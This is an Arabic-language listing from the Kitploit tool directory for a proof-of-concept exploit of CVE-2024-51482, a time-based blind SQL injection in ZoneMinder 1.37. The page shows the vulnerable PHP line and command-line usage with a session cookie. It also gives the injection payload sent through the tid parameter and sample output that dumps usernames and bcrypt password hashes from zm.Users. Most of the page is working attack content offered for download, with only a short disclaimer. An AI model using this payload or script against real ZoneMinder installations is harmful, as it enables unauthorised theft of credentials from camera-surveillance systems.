Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-51482 — CVE-2025-51482 POC, استخراج بيانات الاعتماد من zm.Users | Kitploit
أدوات/GitHubGitHub/c0gnit00/cve-2024-51482
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالتعلم والتعليم
GitHubc0gnit00/cve-2024-51482

CVE-2024-51482

CVE-2025-51482 POC, استخراج بيانات الاعتماد من zm.Users

عرض المستودع
2منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-51482 — حقن SQL أعمى زمني في ZoneMinder

أداة إثبات مفهوم لـ CVE-2024-51482، وهي ثغرة حقن SQL أعمى زمني تحتاج إلى مصادقة في ZoneMinder v1.37. ≤ 1.37.64*.

يقوم السكريبت باستخراج أسماء المستخدمين وتجزئات كلمات المرور من جدول zm.Users باستخدام البحث الثنائي (التقسيم الثنائي) عبر مُسْتَدَلّ يعتمد على SLEEP().


الثغرة

مُعالِج remotetag في web/ajax/event.php يقوم بتمرير وسائط DELETE بأمان ولكنه يدخل مباشرةً إدخالًا يتحكم به المستخدم في استعلام SELECT تالٍ:

root@kitploit:~
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));

// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);

يأتي $tagId مباشرةً من $_REQUEST['tid'] دون تنقية، مما يسمح بالحقن عبر باراميتر tid.


المتطلبات

  • بايثون 3.8+
  • requests (pip install requests)
  • كوكي جلسة صالحة ZMSESSID من حساب ZoneMinder مسجل الدخول

الاستخدام

root@kitploit:~
python3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>

الوسائط:

  • --url — عنوان URL الأساسي لـ ZoneMinder (مثال: http://cctv.htb/zm) (مطلوب)
  • --zmsessid — قيمة كوكي ZMSESSID (مطلوب)
  • --sleep — ثواني الإسبات للاستدلال الزمني (الافتراضي: 3)
  • --timeout — مهلة الطلب بالثواني (الافتراضي: sleep + 3)

أمثلة:

root@kitploit:~
# Basic
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh

# Faster on low-latency networks
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2

# Custom timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10

الحصول على كوكي الجلسة

سجل الدخول إلى ZoneMinder، افتح أدوات المطور في المتصفح (F12) -> Application -> Cookies، وانسخ قيمة ZMSESSID. بدلاً من ذلك، اعترض أي طلب موثَّق في Burp Suite واحصل عليها من ترويسة Cookie.


المخرجات

root@kitploit:~
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!

[*] Dumping ZoneMinder Users...

[*] Counting rows in zm.Users...
[+] Found 3 user(s)

[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

==================================================
DUMP COMPLETE
==================================================
admin      : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark       : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

كيف يعمل

  1. خط الأساس — يرسل طلبًا نظيفًا tid=1 لقياس زمن الاستجابة الطبيعي.
  2. التأكيد — يحقن SLEEP(2) ويتحقق من تأخير الاستجابة ≥2 ثانية.
  3. عدد الصفوف — يبحث ثنائيًا عن COUNT(*) على zm.Users لمعرفة عدد الحسابات الموجودة.
  4. الاستخراج — لكل مستخدم، يبحث ثنائيًا عن قيمة ASCII لكل حرف في كل من Username و Password (حوالي 7 طلبات لكل حرف مقابل 95 للمسح الخطي).

هيكل الحمولة:

root@kitploit:~
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1

1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)

id=1 مطلوب لأن استعلام DELETE الآمن قبل الاستعلام الضعيف SELECT سينتج خطأ 500 بدونه، مما يوقف التنفيذ قبل الوصول إلى الحقن.


المراجع

  • CVE-2024-51482 — NVD
  • ZoneMinder — event.php (1.37.63)

إخلاء المسؤولية

هذه الأداة مخصصة لاختبار الأمان المصرح به والبحث التعليمي فقط.
احصل دائمًا على إذن كتابي صريح قبل اختبار أي نظام لا تملكه.
المؤلف لا يتحمل أي مسؤولية عن سوء الاستخدام أو الضرر الناجم عن هذا البرنامج.

تنزيل الأداة